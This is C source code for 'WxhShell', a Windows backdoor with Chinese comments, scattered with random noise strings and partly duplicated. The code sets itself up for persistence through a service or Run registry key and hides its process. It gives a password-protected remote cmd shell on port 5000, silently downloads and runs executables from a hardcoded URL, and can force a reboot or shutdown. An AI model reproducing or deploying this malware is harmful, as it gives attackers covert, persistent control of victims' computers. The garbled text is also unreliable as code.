L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OD7tM0Wn iU"jV*P] HANDLE hProcess; CB_ww= PROCESS_BASIC_INFORMATION pbi; J}U); A ;#$ 67G$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H&\[iZ|-N if(NULL == hInst ) return 0; 4>eY/~odq] !)gTS5Rh: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6$$4!R- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c<- F_+[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 11t+
a,fM C1&~Y.6m if (!NtQueryInformationProcess) return 0; DuX7 {`?C5<r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *'4+kj7> if(!hProcess) return 0; %EkV-%o* =?g26>dYo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z-X(.Q bC*( ,n<' CloseHandle(hProcess); 6-#<*Pg ziZLw$) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *W,tq(%tQ if(hProcess==NULL) return 0; k+#6 ;D.a |(Q HMODULE hMod; x}v]JEIf[Q char procName[255];
gP%S{<.? unsigned long cbNeeded; >xrO W`p] tQ0iie1Ys if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?.Mw ERD( qL.J CloseHandle(hProcess); f$#--* gS{hfDpk,h if(strstr(procName,"services")) return 1; // 以服务启动
2..b/ /$
Gp<.z return 0; // 注册表启动 zURxXo/\V } cV^r_E\m wJ#fmQXKJ5 // 主模块 4@ EY+p int StartWxhshell(LPSTR lpCmdLine) 1./uJB/ { (ndXz SOCKET wsl; u'Ja9m1 BOOL val=TRUE; 3ht>eaHi int port=0; n^vL9n_N struct sockaddr_in door; S:!gj2q9| N
zrHWVD if(wscfg.ws_autoins) Install(); LpRl!\FY$ #9{N[t port=atoi(lpCmdLine); NqyKR&; u\-WArntc if(port<=0) port=wscfg.ws_port; $Ro]]NUz| Mn$w_Z? WSADATA data; T%0vifoQ_$ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o[Ojl.r< I
ACpUB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; V9aGo# setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iA*^`NMaT door.sin_family = AF_INET; 99W-sV door.sin_addr.s_addr = inet_addr("127.0.0.1"); pc9m,?n door.sin_port = htons(port); m#
y` 2?vjj:P+h if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BG ]w2= closesocket(wsl); 2"0q9 Jg return 1; }E[u" @} } EFpV $ZnLY uGb if(listen(wsl,2) == INVALID_SOCKET) { Pn?Ujjv closesocket(wsl); \3nu &8d return 1; Kf=6l#J7 } ^n! j" Wxhshell(wsl); (41BUX WSACleanup(); bEO\oS B$ty`/{w,B return 0; i/Zv@GF vbFi#|EU } yC%zX}5 \tv^],^` // 以NT服务方式启动 tc-pVw:TV VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t<8vgdD { Oz8"s4Y7 DWORD status = 0; TpnJm%9`)t DWORD specificError = 0xfffffff; </xz
V<Pi K|n%8hRy serviceStatus.dwServiceType = SERVICE_WIN32; jhRg47A serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8w,+Y]X<P[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9Yu63s ia serviceStatus.dwWin32ExitCode = 0;
qW~Z#Si serviceStatus.dwServiceSpecificExitCode = 0; ~yX8p7qr serviceStatus.dwCheckPoint = 0; 1P8XVI' serviceStatus.dwWaitHint = 0; ^a>3U l{ eXs^YPi hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~rnbuIh if (hServiceStatusHandle==0) return; T"h@-UcTl pr~%%fCh status = GetLastError(); )I~U&sT\/ if (status!=NO_ERROR) 2EO WbN}M { O_v8R7 { serviceStatus.dwCurrentState = SERVICE_STOPPED; +/"Ws'5E serviceStatus.dwCheckPoint = 0;
IBP3 serviceStatus.dwWaitHint = 0; y4N8B:j% serviceStatus.dwWin32ExitCode = status; ]|H`?L serviceStatus.dwServiceSpecificExitCode = specificError; K)ZW1d; SetServiceStatus(hServiceStatusHandle, &serviceStatus); hk5[ N= return; pJg'$iR!/ } =1|^) 4M,x V(gmC%6%l* serviceStatus.dwCurrentState = SERVICE_RUNNING; X667*L^ serviceStatus.dwCheckPoint = 0; Q:L^DZkGV serviceStatus.dwWaitHint = 0; 9F~e^v]zp if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0iKSUwps } Np2I*l6W ,Yp+&&p. // 处理NT服务事件,比如:启动、停止 8m prK`p VOID WINAPI NTServiceHandler(DWORD fdwControl) &*Sgyk
o` { c+BD37S switch(fdwControl)
L3N?^^] { u"$=:GK case SERVICE_CONTROL_STOP: VL =1 9[ serviceStatus.dwWin32ExitCode = 0; 3t4i2] serviceStatus.dwCurrentState = SERVICE_STOPPED; Xu.Wdl/{Ra serviceStatus.dwCheckPoint = 0; k<&zVV' serviceStatus.dwWaitHint = 0; XY_hTHJ { <w,NMu" SetServiceStatus(hServiceStatusHandle, &serviceStatus); %yyvB5Y^ } s0zN#'o] return; E{wnhsl{ case SERVICE_CONTROL_PAUSE: cVV @MC serviceStatus.dwCurrentState = SERVICE_PAUSED; kA .U2 break; "=0(a)01p: case SERVICE_CONTROL_CONTINUE: ?IN'Dc9&%- serviceStatus.dwCurrentState = SERVICE_RUNNING; @V\u<n break; :CeK
'A\ case SERVICE_CONTROL_INTERROGATE: &b__/o break; nE&`~ }; i]cD{hv SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9mmkFaBQ } ^
gMkQYo(# WX-J4ieL // 标准应用程序主函数 f]_{4Olk int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =%)Y,
)" { ~|:U"w\[= 7:M`k #oDP // 获取操作系统版本
x>]14bLz OsIsNt=GetOsVer(); icrcP ~$A GetModuleFileName(NULL,ExeFile,MAX_PATH); 3 P=I)q H1t`fyri2 // 从命令行安装 xS'Kr.S
if(strpbrk(lpCmdLine,"iI")) Install(); h&|S* ?lPn{oB9" // 下载执行文件 `MLOf if(wscfg.ws_downexe) { ]Pp}=hcD if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p{vGc-zP. WinExec(wscfg.ws_filenam,SW_HIDE); /!i`K{ } w=QlQ\ 1u~CNHm if(!OsIsNt) { sk%Xf, // 如果时win9x,隐藏进程并且设置为注册表启动 Vsj1!}X: HideProc(); XsEotW StartWxhshell(lpCmdLine); 3LkcK1x. } De-hHY{> else gX%"Ki7. if(StartFromService()) V+$^4Ht // 以服务方式启动 0X<U.Sxn StartServiceCtrlDispatcher(DispatchTable); d}w}VL8l else 3a\De(; // 普通方式启动 Oxp!G7qfo StartWxhshell(lpCmdLine); /'l"Us},^! TOb( return 0; sd5)We } ]3\%i2NM `x:O&2 h(/& ;\Cr FKH_o =========================================== KY'x;\0
g &v/>P1Z
G KU=+ 1,Jf vf@toYc[E iAr]Ed"9| yno X=#` " xxQgX~'x V<i_YLYmJe #include <stdio.h> <~Oy3#{ #include <string.h> AX] cM)w #include <windows.h> OQJ#>*? #include <winsock2.h> @$|8zPs #include <winsvc.h> "(YfvO+ #include <urlmon.h> #z5$_z?_ 4M)oA|1w #pragma comment (lib, "Ws2_32.lib") $vLGX>H #pragma comment (lib, "urlmon.lib") 98rO]rg RI3GAd
#define MAX_USER 100 // 最大客户端连接数 u*m|o8 #define BUF_SOCK 200 // sock buffer d6XdN #define KEY_BUFF 255 // 输入 buffer j0~dJ# )tv~N7 #define REBOOT 0 // 重启 [y&uc #define SHUTDOWN 1 // 关机
<dKHZ4 -y'tz,En. #define DEF_PORT 5000 // 监听端口 xdgbs-a) '!"rE1e #define REG_LEN 16 // 注册表键长度 2w;Cw~<=d #define SVC_LEN 80 // NT服务名长度 H1d2WNr[ 0<)Ep~! // 从dll定义API [85b+SKW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C({r1l4[D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hEA;5-m typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .3CQFbHF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `$Y%c1;
<64#J9T^ // wxhshell配置信息 _&RGhA struct WSCFG { O&
1z- int ws_port; // 监听端口 w&>*4=^a char ws_passstr[REG_LEN]; // 口令 #OwxxUeZ int ws_autoins; // 安装标记, 1=yes 0=no wCEcMVT char ws_regname[REG_LEN]; // 注册表键名 "#.L\p{Zy char ws_svcname[REG_LEN]; // 服务名 f%/6kz char ws_svcdisp[SVC_LEN]; // 服务显示名 @;X#/dZe char ws_svcdesc[SVC_LEN]; // 服务描述信息 yS.)l char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `Ip``I#A int ws_downexe; // 下载执行标记, 1=yes 0=no 20w4
'@sq
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %F87"v~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xQ!
Va IqFmJs|C }; i
2 ='> p+;;01Z+_ // default Wxhshell configuration 5Y>fVq{U?; struct WSCFG wscfg={DEF_PORT, b( ~#CHg "xuhuanlingzhe", -HvJ&O.V$ 1, o]B2^Yq;x "Wxhshell", 6Z5$cR_vC7 "Wxhshell", TMD*-wYr "WxhShell Service", D^S"6v"z "Wrsky Windows CmdShell Service", (@NW2 "Please Input Your Password: ", c1xX)cF 1, }Xb|Ur43 "http://www.wrsky.com/wxhshell.exe", l%
p4.CX "Wxhshell.exe" N>w+YFM }; e>Dux E %?>
%h // 消息定义模块 Xdh@ ^` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n]8*yoge char *msg_ws_prompt="\n\r? for help\n\r#>"; _^D -nk? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rX22%~1 char *msg_ws_ext="\n\rExit."; LX}|%- iv char *msg_ws_end="\n\rQuit."; y*E{X char *msg_ws_boot="\n\rReboot..."; G_}oI|B char *msg_ws_poff="\n\rShutdown..."; 44pVZ5c char *msg_ws_down="\n\rSave to "; AZ
SaI ,xutI char *msg_ws_err="\n\rErr!"; M hjIE<OI= char *msg_ws_ok="\n\rOK!"; X([@}ren lNMJcl3 char ExeFile[MAX_PATH]; 2RdpVNx\y int nUser = 0; tILnD1q HANDLE handles[MAX_USER]; Ym#io] int OsIsNt; TA+#{q+a "?6R"Vk?: SERVICE_STATUS serviceStatus; 3}B-n!|* SERVICE_STATUS_HANDLE hServiceStatusHandle; m4^VlE,`Dh 4{h^O@*g // 函数声明 |M EJ)LE7 int Install(void); @h\i<sh!^ int Uninstall(void); E)]emeGd int DownloadFile(char *sURL, SOCKET wsh); 4'.]-u int Boot(int flag); -|P7e void HideProc(void); ;\]DZV4?)r int GetOsVer(void); [6?x 6_M int Wxhshell(SOCKET wsl); 1pqYB]*u_ void TalkWithClient(void *cs); X*a7`aL int CmdShell(SOCKET sock); $#_^uWN-M int StartFromService(void); iZ0.rcQj'o int StartWxhshell(LPSTR lpCmdLine); KP!7hJhw nyZ?m VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uN0'n}c;1. VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Fo`Pr_ @"iNjqxh // 数据结构和表定义 z'zC SERVICE_TABLE_ENTRY DispatchTable[] = r#d]"3tH { OkphbAX {wscfg.ws_svcname, NTServiceMain}, h1#l12k^' {NULL, NULL} U+uIuhz }; OA7=kH@3c J?Rp // 自我安装 V/ZWyYxjLi int Install(void) @^`5;JiUk { iHWt;] char svExeFile[MAX_PATH]; (A;HB@)[A HKEY key; [n +( strcpy(svExeFile,ExeFile); cGWL'r)P {X W>3 " // 如果是win9x系统,修改注册表设为自启动 7N0m7SC if(!OsIsNt) { #Z]<E6<=9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vIFx'S~D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3ep
L'My$ RegCloseKey(key); z]sQ3"cmX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {9hhfI#3_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VKi3z%kwK RegCloseKey(key); XV!UeBq return 0; HPK}Z|Vl } `U;V- } ik0w\* } ^1ks`1 else { eoPoGC }J=z O8OL // 如果是NT以上系统,安装为系统服务 n4zns,:)/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); os(}X(
if (schSCManager!=0) /`w'X/'VJ { XB%`5wwd SC_HANDLE schService = CreateService n4
Y
]v ( }Z`@Z' schSCManager, 4;w#mzd wscfg.ws_svcname, OmP(&t7 wscfg.ws_svcdisp, B^hK SERVICE_ALL_ACCESS, 7p18;Z+6>X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dRTpGz SERVICE_AUTO_START, <pUc(
tPoz SERVICE_ERROR_NORMAL, j MA%`*r svExeFile, _[
`"E' NULL, 98WJ"f_ # NULL, <zu)=W'R] NULL, wJF$<f7P NULL, UOIZ8Po NULL 5gPAX $j H ); 4_S%K& if (schService!=0) Zn'y"@%t[ { T0}P 'q CloseServiceHandle(schService); sQT,@'" CloseServiceHandle(schSCManager); Jaf=qwZ/` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j0jam:.p strcat(svExeFile,wscfg.ws_svcname); 5xG/>fn if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !Jo.Un7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *Xd_=@L&B RegCloseKey(key); O0"&wvR+5 return 0; o-t!z'\lO } yDw^xGws } "?sLi CloseServiceHandle(schSCManager); 5{6ebq55" } nzu
3BVv } H
%PIE1_ ;:gx;'dm5 return 1; Eb9M;u } P^*gk P ,#-^ // 自我卸载 9a_(_g>S int Uninstall(void) /t?(IcP5 { @i:_JOl HKEY key; or]s on1mu't_; if(!OsIsNt) { K#p&XIY, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |&%l @X6 RegDeleteValue(key,wscfg.ws_regname); "i*Gi
\U RegCloseKey(key); k4 %> F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L:EJ+bNG RegDeleteValue(key,wscfg.ws_regname); *'(dcy9 RegCloseKey(key); :Zd# }P return 0; wwmODw<tT } DSHpM/7 } 5*>3(U }
?hpk)Qu else { XC{(O:EG }c,}+{q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iJE|u if (schSCManager!=0) 'C*NyHc { -/&6}lD SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VbX$i!>8 if (schService!=0) `o*g2fW! { mwTn}h3N if(DeleteService(schService)!=0) { >Y< y]vM: CloseServiceHandle(schService); 2jx+q CloseServiceHandle(schSCManager); z95V 7E return 0; K+mtuB]yr } Qi7^z; CloseServiceHandle(schService); J0|}u1?l } {1YT a:evl CloseServiceHandle(schSCManager); Vd^`Hv&i } 73(T+6` } ;h3*MR &f qmO>M return 1; ;3sT>UB } ikRIL2Y |,&!Q$<un // 从指定url下载文件 RN:#+S(8 int DownloadFile(char *sURL, SOCKET wsh) )Bk?"q { FZmYv%J HRESULT hr; (^Do#3 char seps[]= "/"; 0QIocha char *token; Bv@m)$9\+3 char *file; y$V{yh[: char myURL[MAX_PATH]; NI s4v(! char myFILE[MAX_PATH]; e@,,;YO#4 cmN0ya strcpy(myURL,sURL); L{fP_DIa token=strtok(myURL,seps); 3]Lk}0atpL while(token!=NULL) W@$p'IBwm { (\/HGxv file=token; v|,H d token=strtok(NULL,seps); v
V^ GIWK } q%:Jmi> pmW=l/6+V3 GetCurrentDirectory(MAX_PATH,myFILE); Ft.BfgJ$ strcat(myFILE, "\\"); mQs'2Y6Oa strcat(myFILE, file); sqZHk+<% send(wsh,myFILE,strlen(myFILE),0); A# M send(wsh,"...",3,0); q=1SP@;\6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MthThsr7 if(hr==S_OK) 47K5[R return 0; V!U[N.&$ else lIFU7g return 1; A^p $~e\) /l$noaskX } Z|?XQ-R5 Ju9v n44 // 系统电源模块 ^:)&KV8D| int Boot(int flag) wbS++cF< {
610k#$ HANDLE hToken; cT0g, ^& TOKEN_PRIVILEGES tkp; }t-r:R$, N~ozyIP, if(OsIsNt) { -5ec8m8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %-'U9e KN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6HqK%( tkp.PrivilegeCount = 1; YYvs~?bAy tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6Rf5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }b^lg&$( if(flag==REBOOT) { ^c7L!F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Ojt3)fB return 0; sk3;;<H } GQZUC\cB else { J;kbY9e if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jw[`_ return 0; O46/[{p+8 } vZDQ@\HrC } ,`7GI*Vq else { Cp* n2 if(flag==REBOOT) { 8Z!ea3kAT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H= y-Y_R return 0; Le'\x`B } j&mL]'Zy else { ,RHHNTB(" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A{o{o++ return 0; v:0i5h&M } ]1[;A$7 } g:clSN, '~cEdGD9H return 1; gPi_+-@ } >lW*%{|b$^ J@TM>R // win9x进程隐藏模块 3*TS
4xX void HideProc(void) }00e@a { awK'XFk [Bh]\I' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jr9}'l8 if ( hKernel != NULL ) )AoFd> { T7Ac4LA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2yZ6:U~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "%]dC{ FreeLibrary(hKernel); wg1pt1 ` } HlSuhbi'@ aS7zG2R4H return; GT.^u#r } }a1UOScO0 1m)/_y~1
k // 获取操作系统版本 ^hgAgP{{ int GetOsVer(void) Dn3~8 { ?:nZv<
x OSVERSIONINFO winfo; !T~d5^l! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1W
g8jr's GetVersionEx(&winfo); %ze1ZWO{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7. .vaq# return 1; |Q;o538 else GXRjR\Ch return 0; \d+HYLAJn } t_rDXhM [s2V-'2 // 客户端句柄模块
c$|dK int Wxhshell(SOCKET wsl) 9-^p23.@[j { gNd
J=r4 SOCKET wsh; YeLOd struct sockaddr_in client; Sv@p!-m DWORD myID; o%%fO ^!qmlx* while(nUser<MAX_USER) 0)]1)z(P { pQ Y> int nSize=sizeof(client); Q2NnpsA^6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +CT$/k if(wsh==INVALID_SOCKET) return 1; H=#Jg;_w 1znV>PO! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /8>/"Z2S if(handles[nUser]==0) ^gyp-
! closesocket(wsh); y^\#bpq&\ else @RIEO%S nUser++; Cpcd`y=IN } 0AKwZ'
&H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E3skC%} |mmG
s return 0;
1}E@lOc }
A*~1Uz\t lKUm_; m // 关闭 socket Bed jw =B void CloseIt(SOCKET wsh) ]P$DAi { <\g&%c, closesocket(wsh); ~,68S^nP)H nUser--; CJixK>Y^ ExitThread(0); ~bTae =FP } -<!17jy S\5k'ifh // 客户端请求句柄 b
H_pNx81 void TalkWithClient(void *cs) c$kb0VR { >}{-! Td1ba ^J SOCKET wsh=(SOCKET)cs; *v ^"4 char pwd[SVC_LEN]; v|(b,J3 char cmd[KEY_BUFF]; O + &
xb char chr[1]; !(K{*7|h int i,j; QCfpDE} `;CU[Ps?] while (nUser < MAX_USER) { 7$W;4!BN* _D9@<+MS* if(wscfg.ws_passstr) { f<:U"E. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KB R0p&MN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s@LNQ|'kO //ZeroMemory(pwd,KEY_BUFF); }@%ahRGx%9 i=0; BQ&q<6Tk while(i<SVC_LEN) { V )k, 9= ,l .U^d6> // 设置超时 N%A`rY}u fd_set FdRead; y!N)@y4 struct timeval TimeOut; aijGz< FD_ZERO(&FdRead); lp-Zx[#`}C FD_SET(wsh,&FdRead); Cw&D} TimeOut.tv_sec=8; G5#}Ed4 TimeOut.tv_usec=0; )?&kQ^@v int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ygi1"X} if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FP'lEp 1`]IU_) 1B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <-:@} |br pwd=chr[0]; 7EP|X. if(chr[0]==0xd || chr[0]==0xa) { ]esLAo pwd=0; ` ]P5, break; +`zi>= } L1kM~M i++; #2R%H.*t } w<e;rKr =l4\4td9p // 如果是非法用户,关闭 socket iEVA[xy=D if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4ylDD|) rO } AY'?Xt ,&&M|,NQ&s send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ob0 8xGj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +1Rrkok eSX[J6 while(1) { !x$:8R JkDPuTXD ZeroMemory(cmd,KEY_BUFF); Lp`<L -s xGEmrE<; // 自动支持客户端 telnet标准 ^]qV8 j=0; OZ'.}((?n while(j<KEY_BUFF) { 3zTE4pHzu+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fj-pNl6Gf cmd[j]=chr[0]; 2"+x(Ax if(chr[0]==0xa || chr[0]==0xd) { P%@rH@^Y cmd[j]=0; :{b6M/ break; RmWfV } XMEK5Z9Dd j++; fb"J Bc}X } 6~F#F)C' c Z6p^ // 下载文件 |\%F(d330 if(strstr(cmd,"http://")) { 3> \fP#oQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); C8qTz".5$ if(DownloadFile(cmd,wsh)) 0L0Jc,(F+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Wb2p'V7$? else @?3vRs}h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1rv$?=Z } *hZ~i{c,7 else { N$%61GiulT >{ECyh; switch(cmd[0]) { &7($kj r2SJp@f // 帮助 w.D4dv_H case '?': { o9i#N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qb?y@>-[ break; AGEZ8(h } ~)wwX:;B_ // 安装 h7EUIlh" case 'i': { 7~ *;=,mw if(Install()) a*6wSAA ) send(wsh,msg_ws_err,strlen(msg_ws_err),0); R 5K-KSvW else u%=bHg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); niYz9YX break; bk7^%O> } &gWMl`3^*! // 卸载 @TA8^ND case 'r': { t}]9VD9
if(Uninstall()) c>S"`r send(wsh,msg_ws_err,strlen(msg_ws_err),0); >G<\1R else Na.
nA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KP=D! l&q break; t&R!5^R } /[Bl // 显示 wxhshell 所在路径 }%!FMXe case 'p': { Lf^5Eo/
5A char svExeFile[MAX_PATH]; (Bt;DM#> strcpy(svExeFile,"\n\r"); J[}gku?C; strcat(svExeFile,ExeFile); ^V<J69ny|9 send(wsh,svExeFile,strlen(svExeFile),0); 6%ZHP? break; H_?;h-Y] } 1UW s_|X! // 重启 uX<+hG.n} case 'b': { h4XcKv+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WYwzo V- if(Boot(REBOOT)) ezcS[r send(wsh,msg_ws_err,strlen(msg_ws_err),0); VLh%XoQx[ else { rWoe
?g closesocket(wsh); v9E+(4I9_ ExitThread(0); &<gUFcw7Ui } 7szls71/= break; j`2B}@ 2 } MV0<^/p| // 关机 Cq?',QU6j case 'd': { _YH<YOrMh send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #0P!xZ'|{ if(Boot(SHUTDOWN)) ;JOD!| send(wsh,msg_ws_err,strlen(msg_ws_err),0); "H5&3sF2 else { *>e~_{F closesocket(wsh); |x d@M-ln ExitThread(0); j:HH#U } 09R,'QJ| break; Lzh9DYU6 } <ZigCo w // 获取shell M[h1>}$Lz case 's': { v[R_S CmdShell(wsh); $Hp.{jw closesocket(wsh); j';n8|Y9 ExitThread(0); $42Au2Jg break; '1CD-
Bu } L"[IOV9S // 退出 oy2(A g\ case 'x': { B;eW/#` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x8 f6, CloseIt(wsh); RRx`}E9, break; J3H.%m!V } KU+( YF$1 // 离开 d@-wi%,^ case 'q': { YO)')& send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sdgb#?MR| closesocket(wsh); %S{o5txo WSACleanup(); nHSTeFI? exit(1); qPsyqn?Y| break; d4d\0[ } TT|-aS0l(u } ob0~VEH- } 7 ,$ axvLw R `;o!B}[ // 提示信息 H \r `7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k?^%hO>[ } ,q8(]n4 } (-bRj# pz$_W return; d2ohW| } &c20x+ "\`>2 // shell模块句柄 "VV914*z int CmdShell(SOCKET sock) DXKyRkn6e { Ip>^O/}$1 STARTUPINFO si; 9U]pH%.9 ZeroMemory(&si,sizeof(si)); NeY"6!;k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }g}6qCv7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3nwz<P PROCESS_INFORMATION ProcessInfo; !loO%3_) char cmdline[]="cmd"; ]a)IMIh; CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =Q@6c return 0; PM@XtL7J } j\!
e9M @|^jq // 自身启动模式 Z%Vr+)!4 int StartFromService(void) ?hKm&B;d { pw!@Q?R typedef struct {n\6BTs { JdtPY~k0 DWORD ExitStatus; m6-76ma,hi DWORD PebBaseAddress; ]+AAT=B<! DWORD AffinityMask; /;DjJpwf0 DWORD BasePriority; ^,Xa IP+[ ULONG UniqueProcessId; 60'6/3 ULONG InheritedFromUniqueProcessId; _~PO } PROCESS_BASIC_INFORMATION; s){Q&E~X 7O:"~L PROCNTQSIP NtQueryInformationProcess; p[u4, "rVU4F) static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T4eWbNSs static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; THJ
3-Ug A xf^hBP HANDLE hProcess; j13riI3A PROCESS_BASIC_INFORMATION pbi; Ex6o=D2 @2u#93Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q]/B/ if(NULL == hInst ) return 0;
t7&Dwmck9 sqT^t! g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?<E0zM+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :aH%bk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MZ)T0|S_ AhR0zg if (!NtQueryInformationProcess) return 0; E&'#=K[ F% }7cm2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Y9I~8\gB if(!hProcess) return 0; :xM}gPj" Y hS{$Z if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mzu<C)9d, z<t>hzl7 CloseHandle(hProcess); > <X $# w m19T7*L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | 